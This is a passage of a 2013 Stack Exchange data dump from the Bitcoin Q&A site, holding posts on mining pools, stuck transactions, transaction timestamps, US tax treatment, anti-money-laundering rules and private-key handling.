  <row Id="17348" PostTypeId="1" AcceptedAnswerId="17403" CreationDate="2013-11-26T23:07:03.213" Score="-2" ViewCount="2536" Body="&lt;p&gt;Should I setup a new mining pool for litecoin, or join another one ? It seems like creating a pool with p2pool, I can keep fee's in my wallet... But is it effective ? Or staying in a crowded pool will be more profitable ?&lt;/p&gt;&#xA;" OwnerUserId="8937" LastActivityDate="2013-11-28T01:25:43.997" Title="should I setup a pool or join one?" Tags="|mining-pools|litecoin|transaction-fees|linux|p2pool|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17349" PostTypeId="1" AcceptedAnswerId="66642" CreationDate="2013-11-26T23:14:57.137" Score="6" ViewCount="3782" Body="&lt;p&gt;I need to properly segment transactions by time. Are timestamps in transactions trustable? Can these be forged?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if transaction timestamps are part of the protocol, but I'm particularly interested in the &quot;Received Time&quot; which shows up in blockchain.info . For example, &lt;a href=&quot;https://blockchain.info/tx/4054f8170f7fc7c12229a116baead874f22478810b0a7e842aa28403c9b59927&quot; rel=&quot;nofollow noreferrer&quot;&gt;this transaction&lt;/a&gt; (&lt;a href=&quot;https://blockchain.info/rawtx/4054f8170f7fc7c12229a116baead874f22478810b0a7e842aa28403c9b59927&quot; rel=&quot;nofollow noreferrer&quot;&gt;api url&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;   time:1385506952,&#xA;   inputs:[&#xA;      {&#xA;         prev_out:{&#xA;            n:2,&#xA;            value:50000000,&#xA;            addr:&quot;17BPmjqg7mbaWYdff2EjVxra1FBHG4VAN3&quot;,&#xA;            tx_index:97772745,&#xA;            type:0&#xA;         }&#xA;      }&#xA;   ],&#xA;   vout_sz:2,&#xA;   relayed_by:&quot;127.0.0.1&quot;,&#xA;   hash:&quot;4054f8170f7fc7c12229a116baead874f22478810b0a7e842aa28403c9b59927&quot;,&#xA;   vin_sz:1,&#xA;   tx_index:99131036,&#xA;   ver:1,&#xA;   out:[&#xA;      {&#xA;         n:0,&#xA;         value:40000000,&#xA;         addr:&quot;1LwmnEn97jcANB68C5BVFQLJJLAm5UTJqW&quot;,&#xA;         tx_index:99131036,&#xA;         type:0&#xA;      },&#xA;      {&#xA;         n:1,&#xA;         value:9990000,&#xA;         addr:&quot;17BPmjqg7mbaWYdff2EjVxra1FBHG4VAN3&quot;,&#xA;         tx_index:99131036,&#xA;         type:0&#xA;      }&#xA;   ],&#xA;   size:257&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9409" LastEditorUserId="48884" LastEditDate="2017-12-27T00:15:32.747" LastActivityDate="2017-12-27T01:11:32.593" Title="Are timestamps in transactions trustable?" Tags="|transactions|timestamp|raw-transaction|time|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17350" PostTypeId="1" CreationDate="2013-11-26T23:23:30.757" Score="2" ViewCount="886" Body="&lt;p&gt;I have googled this problem and everyone just keep saying &quot;be patient it will get through sooner or later&quot;. Well it has now been 4 days and it still says 0/6 confirmations. I did not send it with a miners fee which is why it's not instant but it feels like 4 days is a long time. I'm using bitcoin-qt wallet on a ubuntu 12.04 computer if that makes any difference. Also when I go to blockchain.info and try to search for my transaction I cant find it. I have right clicked on my transaction and tried to search for everything thats in details but I still cant find my transaction.&#xA;Should I just wait and see if its going to get through?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read that you can double spend and then send this new one with a miners fee. I have tried to read up about this but I'm quite worried because its a lot of money that I'm sending and I don't want to do anything wrong.&lt;/p&gt;&#xA;" OwnerUserId="9413" LastActivityDate="2014-11-16T06:00:47.810" Title="My bitcoin transaction has not yet gone through. (4 days)" Tags="|bitcoin-core|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17351" PostTypeId="1" AcceptedAnswerId="17360" CreationDate="2013-11-26T23:27:46.243" Score="4" ViewCount="2125" Body="&lt;p&gt;I want to check if there is any specific tips how to properly file income from speculation with BTC to the IRS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also is there any specific report from the Coinbase available?&lt;/p&gt;&#xA;" OwnerUserId="9414" LastEditorUserId="4334" LastEditDate="2018-11-17T23:48:04.180" LastActivityDate="2018-11-17T23:48:04.180" Title="How to file bitcoin income to the IRS" Tags="|coinbase.com|legal|taxes|usa|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17352" PostTypeId="2" ParentId="17350" CreationDate="2013-11-26T23:36:28.690" Score="1" Body="&lt;p&gt;Has the blockchain fully downloaded yet?&#xA;If you haven't totally downloaded the chain yet, you wont see any money you have received.&#xA;Do you have to create a raw transaction?&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Raw_Transactions&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Raw_Transactions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are really struggling, send me an email. Maybe we can do SSH or remote desktop, and I can save your bitcoins.&#xA;If you run &quot;bitcoind listtransactions&quot; in a terminal and send me the output, I might be able to get you better instructions.&lt;/p&gt;&#xA;" OwnerUserId="9415" LastEditorUserId="2306" LastEditDate="2014-11-16T06:00:47.810" LastActivityDate="2014-11-16T06:00:47.810" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17353" PostTypeId="2" ParentId="17346" CreationDate="2013-11-26T23:40:25.400" Score="0" Body="&lt;p&gt;Tips: 14y7Zx9V19AJHD8AKDYa46WnKH1Ey7atd5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{&#xA;    &quot;txid&quot; : &quot;0a7bc048ce3bebbd77dd16a5113978284a424eae766b680bb4a258322701d227&quot;,&#xA;    &quot;version&quot; : 1,&#xA;    &quot;locktime&quot; : 0,&#xA;    &quot;vin&quot; : [&#xA;        {&#xA;            &quot;txid&quot; : &quot;551cc8a4953515b845ed2ea37037877be32118d81259cb8b36d7d42a1ae83b29&quot;,&#xA;            &quot;vout&quot; : 1,&#xA;            &quot;scriptSig&quot; : {&#xA;                &quot;asm&quot; : &quot;&quot;,&#xA;                &quot;hex&quot; : &quot;&quot;&#xA;            },&#xA;            &quot;sequence&quot; : 4294967295&#xA;        }&#xA;    ],&#xA;    &quot;vout&quot; : [&#xA;        {&#xA;            &quot;value&quot; : 0.00010000,&#xA;            &quot;n&quot; : 0,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_DUP OP_HASH160 b36797fc263fc01d374ace37a0ea30c444fbfa73 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;                &quot;hex&quot; : &quot;76a914b36797fc263fc01d374ace37a0ea30c444fbfa7388ac&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;1HMc49uNVcw9yxREZ2NztL8wAb9dg4n8tN&quot;&#xA;                ]&#xA;            }&#xA;        },&#xA;        {&#xA;            &quot;value&quot; : 0.00010000,&#xA;            &quot;n&quot; : 1,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_HASH160 b2e1d360c89521feda58dc194b324a7cd442e48b OP_EQUAL&quot;,&#xA;                &quot;hex&quot; : &quot;a914b2e1d360c89521feda58dc194b324a7cd442e48b87&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;scripthash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;3HzrjLKjMmH5chsadUWxr7DJzhRf771V2r&quot;&#xA;                ]&#xA;            }&#xA;        }&#xA;    ]&#xA;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did not give a scriptsig when I created the transaction.&#xA;If I had given a scriptsig, then it would appear in this decoded transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only time you should give a scriptsig (I think) is when you are creating multiple transactions that depend on eachother, and you are not broadcasting them.&lt;/p&gt;&#xA;" OwnerUserId="9415" LastActivityDate="2013-11-26T23:40:25.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17354" PostTypeId="2" ParentId="17268" CreationDate="2013-11-26T23:41:59.270" Score="1" Body="&lt;p&gt;There is always an inherent way to control the transaction. Try to create it, if you don't like the result, try again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your game gets popular enough, it may be economically viable to effectively spend computing power on mining transactions that game it. &lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-11-26T23:41:59.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17356" PostTypeId="1" AcceptedAnswerId="17357" CreationDate="2013-11-27T00:09:54.710" Score="2" ViewCount="9439" Body="&lt;p&gt;I have a limited amount of data included in my internet plan. If I exceed that limit I get charged extra. So, before signing up for Bitcoin, I'd like to know whether Bitcoin mining causes a lot of internet traffic. Does it involve a lot of downloading and uploading throughout the day?&lt;/p&gt;&#xA;" OwnerUserId="9417" LastEditorUserId="5406" LastEditDate="2014-05-02T17:12:51.413" LastActivityDate="2014-05-02T17:12:51.413" Title="How much data traffic does participating in Bitcoin mining cause?" Tags="|network|bandwidth|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17357" PostTypeId="2" ParentId="17356" CreationDate="2013-11-27T00:26:51.827" Score="-3" Body="&lt;p&gt;If you use a light wallet like Electrum, definitely not.  But even if you run a full node, it is unlikely.  You could also use a web-based wallet like blockchain.info which would mean that nothing at all is running on your local computer and you can access it from anywhere.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-11-27T00:26:51.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17358" PostTypeId="2" ParentId="17351" CreationDate="2013-11-27T00:28:44.427" Score="3" Body="&lt;p&gt;I think it works like stock profits or losses.  But consult your accountant.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-11-27T00:28:44.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17360" PostTypeId="2" ParentId="17351" CreationDate="2013-11-27T01:18:38.910" Score="2" Body="&lt;p&gt;The IRS has not ruled on this yet.  So I plan to treat Bitcoins as an asset for now.  This means keeping track of your cost basis (purchase price + fees) and deducting this from your net sell (sell price - fees) to determine the capital gain or loss.  Since you have no control over the specific coins you sell, you should probably use the FIFO (first-in first-out) accounting method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are a some links to discussions on this subject:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=104149.0&quot; rel=&quot;nofollow&quot;&gt;Taxes on Bitcoin Transactions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=156418.0&quot; rel=&quot;nofollow&quot;&gt;Reporting bitcoin mining earnings to IRS&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2013-11-27T01:18:38.910" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17361" PostTypeId="2" ParentId="17356" CreationDate="2013-11-27T01:30:42.083" Score="5" Body="&lt;p&gt;If you mine with a pool, your actual internet activity will be fairly small.  I just took a look at my network statistics and BFGMiner used 9MBytes down and 11 MBytes up over the previous 24-hour period.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin-Qt application on the other hand maxes out my upload bandwidth since I always seem to get 2-3 peers who want to download the entire 12 GB blockchain from me.  Other than that, the main Bitcoin-Qt network usage occurs when you are receiving or relaying the latest block (blocks are typically 100-400 KBytes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you have limited internet bandwidth, your best bet would be to run a lightweight client such as Electrum or Multibit.  If you are mining in a pool, you don't need a local Bitcoin-Qt.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2013-11-27T01:30:42.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17362" PostTypeId="1" CreationDate="2013-11-27T01:32:47.160" Score="6" ViewCount="25036" Body="&lt;p&gt;In the &quot;Finances&quot; tab on &lt;a href=&quot;https://btc-e.com/&quot;&gt;https://btc-e.com/&lt;/a&gt; you can enter your BTC-E Code there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is this about?&lt;/p&gt;&#xA;" OwnerUserId="3236" LastActivityDate="2021-01-11T09:59:58.890" Title="What is BTC-E CODE?" Tags="|trading|btce|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17364" PostTypeId="1" CreationDate="2013-11-27T02:25:59.103" Score="0" ViewCount="157" Body="&lt;p&gt;It seems that only MtGox actually enforces them.  Are they now a PSP or bank?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MtGox says the reason they prohibit wallet-to-wallet bitcoin transfers (yes, they are prohibiting for unverified accounts now - even if you put your coins in there long ago) is because of the AML laws... yet, no other wallet site (that I know of or use) has this restriction, as they all allow me to transfer bitcoins to another address without the need to verification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, either MtGox is making up it's own AML rules, or none of the other sites, like Blockchain, for example, are following them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does any know what the real deal is with these AML laws?  it is all kept very secret.  In fact, the AML laws require that the exchange NOT notify the users in advance before the exchange put in place any new restrictions or limits...but only AFTER they are in place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The real question is... where can I read the AML laws, specifically on how they apply to bitcoins? (although I still find it hard to believe they even Do apply for wallet-to-wallet transaction... but that is what I am told by MtGox)&lt;/p&gt;&#xA;" OwnerUserId="9425" LastActivityDate="2013-11-28T20:43:30.013" Title="AML laws seem to be very erratically enforced" Tags="|mtgox|aml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17365" PostTypeId="1" CreationDate="2013-11-27T03:32:39.680" Score="9" ViewCount="2516" Body="&lt;p&gt;The standard bitcoin-qt/bitcoind client has an option &lt;code&gt;-checklevel&lt;/code&gt; which purports to perform various checks on the block data stored on disk.  Is there current documentation (other than the source) describing specifically what is checked at the different levels?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function &lt;code&gt;VerifyDB&lt;/code&gt; in the source has brief comments describing the levels:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// check level 0: read from disk&#xA;// check level 1: verify block validity&#xA;// check level 2: verify undo validity&#xA;// check level 3: check for inconsistencies during memory-only disconnect of tip blocks&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It would be nice to see these explained in terms of the Bitcoin protocol.  For example, are block hashes verified?  Do we check that all the blocks in the chain correctly link back to one another?  Are transaction signatures verified?  Et cetera.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2013-12-04T16:17:05.870" LastActivityDate="2016-02-22T04:32:06.167" Title="What exactly is checked at various -checklevel's?" Tags="|blockchain|bitcoind|bitcoin-core|verification|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17366" PostTypeId="1" CreationDate="2013-11-27T03:47:26.280" Score="-1" ViewCount="1212" Body="&lt;p&gt;I have a MacBook and was told that I can't mine Litecoin with ASIC erupters. So, am I out of the loop with this whole new litecoins ordeal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, can anything be done using my MacBook? I can get my hands on a PC laptop, but that's about it.&lt;/p&gt;&#xA;" OwnerUserId="9429" LastEditorUserId="5406" LastEditDate="2016-02-12T16:04:23.867" LastActivityDate="2016-02-12T16:04:23.867" Title="Is it possible to mine Litecoin with a MacBook?" Tags="|scrypt|cpu-mining|gpu-mining|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17367" PostTypeId="2" ParentId="17362" CreationDate="2013-11-27T04:12:08.663" Score="4" Body="&lt;p&gt;It is a redeemable code.&#xA;They can be obtained from BitInstant or AurumXChange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Redeemable_code&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Redeemable_code&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/BTC-E&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/BTC-E&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think of it like a prepaid gift card code. If you have one, you can punch the code in, and a predefined amount appears in your account balance.&lt;/p&gt;&#xA;" OwnerUserId="1873" LastEditorUserId="1873" LastEditDate="2013-11-27T08:01:32.947" LastActivityDate="2013-11-27T08:01:32.947" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17368" PostTypeId="2" ParentId="17350" CreationDate="2013-11-27T04:16:01.130" Score="0" Body="&lt;p&gt;Search blockchain.info for the address you are sending the coins from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you cannot see your transaction on blockchain,info, then it is not on the network and will not confirm.&lt;/p&gt;&#xA;" OwnerUserId="1873" LastActivityDate="2013-11-27T04:16:01.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17369" PostTypeId="2" ParentId="17312" CreationDate="2013-11-27T04:26:44.673" Score="1" Body="&lt;p&gt;Goto: &lt;strong&gt;Help&lt;/strong&gt; &gt; &lt;strong&gt;Debug Window&lt;/strong&gt; &gt; &lt;strong&gt;Console&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the input box, type: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;importprivkey [YOUR_PRIVATE_KEY_HERE]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;importprivkey 5J5njVrrim5SX9LF56GPx571iViS7LGqpH5TH49ncfaaWFtzMjY&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1873" LastActivityDate="2013-11-27T04:26:44.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17370" PostTypeId="2" ParentId="17366" CreationDate="2013-11-27T04:43:16.487" Score="0" Body="&lt;p&gt;According to this thread, you should be able to use an ASIC Eruptor on a Mac.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=269929.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=269929.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1873" LastActivityDate="2013-11-27T04:43:16.487" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17371" PostTypeId="1" AcceptedAnswerId="17372" CreationDate="2013-11-27T06:43:45.767" Score="2" ViewCount="532" Body="&lt;p&gt;This question is in response to being stupid, as I just tried to spend from my B-Qt wallet before it was finished syncing (power outage fun yesterday). Was scary when it froze after hitting send, had to force quit the app and relaunch. Hopefully nothing was actually sent and I can redo the transaction. The bitpay invoice &lt;em&gt;did&lt;/em&gt; expire, so I'm hoping for the best.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it got me to thinking if there was a way to keep an updated copy of the blockchain without actually having to keep my Bitcoin-Qt &lt;em&gt;wallet&lt;/em&gt; running. Because security? Presumably I'd be able to point the Qt client at this updated blockchain in the event it hasn't been synced for any amount of time, and it would negate the need to get caught up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anything like this possible or already in existence?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I could use a sync-free online wallet but I do not want to store coins anywhere but locally. The point being to have a non-wallet blockchain sync but only activate the wallet part when I want to spend.&lt;/p&gt;&#xA;" OwnerUserId="3367" LastActivityDate="2013-11-27T06:50:44.990" Title="Is there a way to maintain a continually updated copy of blockchain without running a wallet?" Tags="|blockchain|bitcoin-core|synchronization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17372" PostTypeId="2" ParentId="17371" CreationDate="2013-11-27T06:50:44.990" Score="0" Body="&lt;p&gt;You could keep two wallets, an 'updater' wallet and a 'secure' wallet, and use the same blockchain with both using the following instructions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10723/separate-wallets-sharing-the-same-blockchain&quot;&gt;Separate wallets sharing the same blockchain?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The updater wallet would run most of the time, and then you would switch to the secure wallet when needed. Heed the advice about not running two wallets on the same blockchain at the same time.&lt;/p&gt;&#xA;" OwnerUserId="1873" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-11-27T06:50:44.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17373" PostTypeId="2" ParentId="12104" CreationDate="2013-11-27T07:19:57.603" Score="2" Body="&lt;p&gt;The -gpu=X command line is telling it which of your CUDA devices it should use, not &lt;em&gt;how many&lt;/em&gt; it should use. Like most things written by programmers, the index starts at zero.  If you have two video cards, run it once at the command line with -gpu=0 and then a second time again with -gpu=1.  Once you work out your ideal fine tuning on aggression, gpugrid and gputhreads (if you do at all), it's easiest if you make a batch file (unless you're using GUIMiner, in which case create a new CUDA miner for the second card, same extra flags on both other than gpu=0 or 1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can execute it twice without specifying the GPU and it will certainly run, but from the console output it appears it assigns both of them to the first device.&lt;/p&gt;&#xA;" OwnerUserId="9433" LastActivityDate="2013-11-27T07:19:57.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17374" PostTypeId="1" CreationDate="2013-11-27T08:29:45.107" Score="2" ViewCount="1767" Body="&lt;p&gt;Is an application like armory or bitcoin-qt more secure/ trustable in generating the public and private keys than a locally installed version of bitaddress.org ?&lt;/p&gt;&#xA;" OwnerUserId="9434" LastEditorUserId="9434" LastEditDate="2013-11-27T12:29:10.810" LastActivityDate="2013-11-28T18:35:23.723" Title="Private key generation bitaddress.org vs application wallet (armory / bitcoin-qt)" Tags="|wallet|offline|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17376" PostTypeId="2" ParentId="17232" CreationDate="2013-11-27T09:21:41.337" Score="3" Body="&lt;p&gt;Ok I answered my own question. From: &lt;a href=&quot;https://github.com/pointbiz/bitaddress.org/blob/master/src/bitcoinjs-lib.eckey.js#L186-L222&quot; rel=&quot;nofollow&quot;&gt;https://github.com/pointbiz/bitaddress.org/blob/master/src/bitcoinjs-lib.eckey.js#L186-L222&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bytes = Bitcoin.Base58.decode(compressed_or_uncompressed_private_key);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After some processing, this bytes-array can then be re-encoded into a compressed or uncompressed private key.&lt;/p&gt;&#xA;" OwnerUserId="9296" LastActivityDate="2013-11-27T09:21:41.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17378" PostTypeId="1" CreationDate="2013-11-27T10:08:29.913" Score="1" ViewCount="347" Body="&lt;p&gt;I did an transaction to BTCe but it remained on 1 peer for a very long time.&#xA;I then reset my blockchain and transactions in Multibit but now the transaction is gone and my balance is 0. The adress on BTCe also says 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do?&lt;/p&gt;&#xA;" OwnerUserId="9439" LastActivityDate="2013-12-19T02:33:08.233" Title="Transaction hanged on 1 peer, did reset and now balance is 0 transaction is gone" Tags="|multibit|btce|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17380" PostTypeId="2" ParentId="17364" CreationDate="2013-11-27T11:14:16.387" Score="2" Body="&lt;p&gt;Your question is almost meaningless unless you specify which country's AML laws you are interested in. Some potentially useful pointers: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.ecfr.gov/cgi-bin/text-idx?c=ecfr&amp;amp;SID=9fe04feb4ea54bd0ba469fa6ab27bbb6&amp;amp;rgn=div5&amp;amp;view=text&amp;amp;node=31:3.1.6.1.6&amp;amp;idno=31#31:3.1.6.1.6.3.5.8&quot; rel=&quot;nofollow&quot;&gt;US Federal Regulation 31, especially Part 1022 about Suspicious Activity Reports&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.gesetze-im-internet.de/bundesrecht/gwg_2008/gesamt.pdf&quot; rel=&quot;nofollow&quot;&gt;German Gesetz zum Aufspüren von Gewinnen aus schweren Straftaten (Geldwäschegesetz)&lt;/a&gt;, which translates roughly into Law towards Detection of Profits from serious Crimes (Money Laundering Law).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There is also the question of how to apply these laws. In the US, FinCEN's guidance on Bitcoin (&lt;a href=&quot;http://fincen.gov/statutes_regs/guidance/html/FIN-2013-G001.html&quot; rel=&quot;nofollow&quot;&gt;FIN-2013-G001&lt;/a&gt;) has a statement that indicates FinCEN views bitcoin exchanges as Money Service Businesses (to which above FR 31, Part 1022 relates). I believe there are multiple interpretations of whether this would apply only where real currencies enter, or if the bitcoin side alone is enough to qualify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beyond all this is the practical, rather than legal necessity for customer identification. If an exchange allows anyone to do business on your exchange, you may attract the kind of illicit business that its bank's more elaborate AML procedures might flag as suspicious---which may be one explanation why bitcoin exchanges have, historically, run into trouble with their banks, often getting their accounts closed and having difficulty to find new banking. Dreaming of starting my own bitcoin exchange, I had decided I would need some identification due to these practical issues even before I learnt of legal AML requirements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not think your premise that only MtGox requires identification is correct. I suspect all of their competitors do, even for only handling bitcoin. For their biggest competitor, Bitstamp, I am actually rather certain that they do. However, some of them may have been slower in adopting such measures, and indeed what exactly is required varies, both from country to country and from business to business as some of the anti-money laundering laws seems to require effective measures rather than prescribing anything in particular. A company with more data on their customers or more insight into how to second guess what of their behavior may be suspicious might get away with more selectively seeking information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, let me address the erratic enforcement you hinted at. Is there any chance you could supply more information about what that term describes in your mind, what led to the idea, etc.? I agree that, at least in the past when apparently no bitcoin exchange even tried to identify their clients, they would, in retrospect, appear to probably have been breaking some kind of legal AML requirement. However, this retrospective outlook is probably unfair and the wrong standard to apply; after all, bitcoin and the comparatively small market was hardly seen as &quot;financial&quot; back then. Law enforcement action, as we have seen in a few cases, naturally depend on police or other government agents becoming aware of the violation, and on a local prosecutor to decide that the specific case is worth pursuing. Whilst a standard involving no chance and no human element might seem best theoretically, I suppose that is not practically possible in our world, or at least not in our legal systems. So if you are talking about erratic actions by the authorities, then I suppose I can only point out that they must proceed on a case-by-case basis---to my own regret, considering I wish for a level playing field for all bitcoin exchanges.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2013-11-28T20:43:30.013" LastActivityDate="2013-11-28T20:43:30.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17381" PostTypeId="1" CreationDate="2013-11-27T11:22:04.127" Score="0" ViewCount="646" Body="&lt;p&gt;Similar to this &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/12791/how-long-do-mtgox-withdrawals-take&quot;&gt;post&lt;/a&gt; but I am interested to know how long it has taken people to get paid from a withdrawal to an Australian Bank.  I had a withdrawal on 30/oct/2013, and have not received the funds yet.&lt;/p&gt;&#xA;" OwnerUserId="9443" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2014-03-04T22:50:06.230" Title="How long for wire transfer from MtGox to Australian Bank?" Tags="|mtgox|wire-transfers|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17382" PostTypeId="2" ParentId="17374" CreationDate="2013-11-27T13:02:55.447" Score="3" Body="&lt;p&gt;There are different issues with generating cryptographic keys in general (including private keys for bitcoin) on a downloaded client versus a client served online, as bitaddress.org does. However, I think you yourself should be the judge of what is &amp;quot;more trustable.&amp;quot; Here are the issues:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Code integrity&lt;/p&gt;&#xA;&lt;p&gt;The problem in both cases is if your client is trustworthy, or possibly compromised. There are many aspects to this question, including if you trust the original programmer to get everything right, and not actually put in some bitcoin-stealing spyware. Possibly more interesting is the question if you would detect it if somebody (maybe a cybercriminal?) were to alter the code before you execute it. For downloadable clients, the question is basically if you check its integrity by comparing its checksum with what is published by a reputable source. This gives some security if you do, and if you trust whatever source you may get the checksum from, but in the end, even if you do, it essentially boils down to, at best, trusting whatever entity compiled the client for you. For the web-served javascript program from bitaddress.org, you do not even get a chance to check it yourself---meaning you absolutely have to trust its operator (and possibly the NSA) to serve an uncompromised program.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Quality of random number generator&lt;/p&gt;&#xA;&lt;p&gt;Any private key is generated from randomness. If too much of it were predictable, that would defeat its ability to remain a secret. And that's the weak spot, because many computers in actual use are not too good at generating random numbers, either because they do not have a dedicated source of randomness built-in, or because the software used does not have access to it. With a computer you use interactively, you should be mostly 